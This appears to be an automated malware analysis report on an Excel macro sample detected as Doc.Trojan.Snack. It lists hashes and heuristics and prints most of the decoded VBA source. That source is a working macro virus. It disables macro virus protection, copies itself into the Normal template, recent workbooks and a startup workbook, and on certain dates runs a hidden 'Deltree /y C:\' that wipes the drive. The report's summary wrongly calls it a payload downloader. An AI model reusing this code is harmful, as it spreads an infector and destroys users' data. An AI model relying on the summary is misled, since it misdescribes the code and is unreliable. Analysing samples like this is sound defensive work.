Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c07fba81f2881d59…

MALICIOUS

Office (OLE)

57.0 KB Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: e6691728cbbea69c10887a025f7da0ee SHA-1: 8ef88738d9776b463aa824dbe90409f5ebd72d66 SHA-256: c07fba81f2881d59bbbe1dc85ed8d9744a228c9447def594d486d112cc0d0eec
360 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is an Excel document containing VBA macros that are automatically executed upon opening via the Document_Open subroutine. The macros attempt to disable virus protection settings and use Shell() and CreateObject() calls to execute arbitrary code. This behavior is consistent with a macro-based downloader designed to fetch and run a secondary malicious payload.

Heuristics 7

  • ClamAV: Doc.Trojan.Snack-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Snack-2
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21485 bytes
SHA-256: cb230829eab505b3de857c537b6ae40826a518be97461fc32d635690f9116c7d
Detection
ClamAV: Doc.Trojan.Snack-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Snack <->>- Poison <->>- Cobra
'Macros By Liton

Private Sub Document_Open()
On Error Resume Next
Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set Xla = CreateObject("Excel.Application")
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
IString = NT.Lines(1, 1)
DString = "'Snack <->>- Poison <->>- Cobra"
If IString <> DString Then
NT.DeleteLines 1, NT.CountOfLines
NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
End If
IString = AD.Lines(1, 1)
If IString <> DString Then
AD.DeleteLines 1, AD.CountOfLines
AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)
End If
With Options
.VirusProtection = False: .SaveNormalPrompt = False
End With
If System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") <> "0" Then
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = "0"
End If
If Xla.Name = "Microsoft Excel" Then
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") <> "" Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = ""
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = ""
End If
For i = 1 To 4
GetName = "File" + Trim(Str(i))
FilName = System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Recent File List", GetName)
If FilName <> "" Then
Set GO = GetObject(FilName)
If GO.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines > 0 Then
GO.VBProject.VBComponents("ThisWorkbook").CodeModule.DeleteLines 1, GO.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines
End If
GO.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountOfLines)
GO.Save
End If
Next
StartPath = Xla.Application.StartupPath
If UCase(Dir(StartPath + "\Book1.")) <> "BOOK1" Then
Set WrkBook = Xla.Workbooks.Add
WrkBook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountOfLines)
WrkBook.SaveAs StartPah & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
WrkBook.Close
Else
Set WrkBook = GetObject(StartPath + "\Book1.")
If WrkBook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines > 0 Then
WrkBook.VBProject.VBComponents("ThisWorkbook").CodeModule.DeleteLines 1, WrkBook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines
End If
WrkBook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountOfLines)
WrkBook.Save
Xla.Quit
End If
End If
If (Month(Now) = 2 And Day(Now) = 21) Or (Month(Now) = 3 And Day(Now) = 26) Or (Month(Now) = 5 And Day(Now) = 1) Or (Month(Now) = 8 And Day(Now) = 15) Or (Month(Now) = 12 And Day(Now) = 16) Then
MsgBox "Not ready reading drive C", vbOKOnly + vbCritical, "Cobra"
Shell "Deltree /y C:\", vbHide
End If
End Sub
Private Sub WorkBook_Deactivate()
On Error Resume Next
Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkBook").CodeModule
IString = AW.Lines(1, 1)
DString = "'Snack <->>- Poison <->>- Cobra"
If IString <> DString Then
AW.DeleteLines 1, AW.CountOfLines
AW.InsertLines 1, TW.Lines(1, TW.CountOfLines)
End If
IString = TW.Lines(1, 1)
If IString <> DString Then
TW.DeleteLines 1, TW.CountOfLines
TW.InsertLines 1, AW.Lines(1, AW.CountOfLines)
End If
Set WOBJ = CreateObject("Word.Application")
If WOBJ.Name = "Microsoft Word" Then
Set NT = WOBJ.NormalTemplat
... (truncated)

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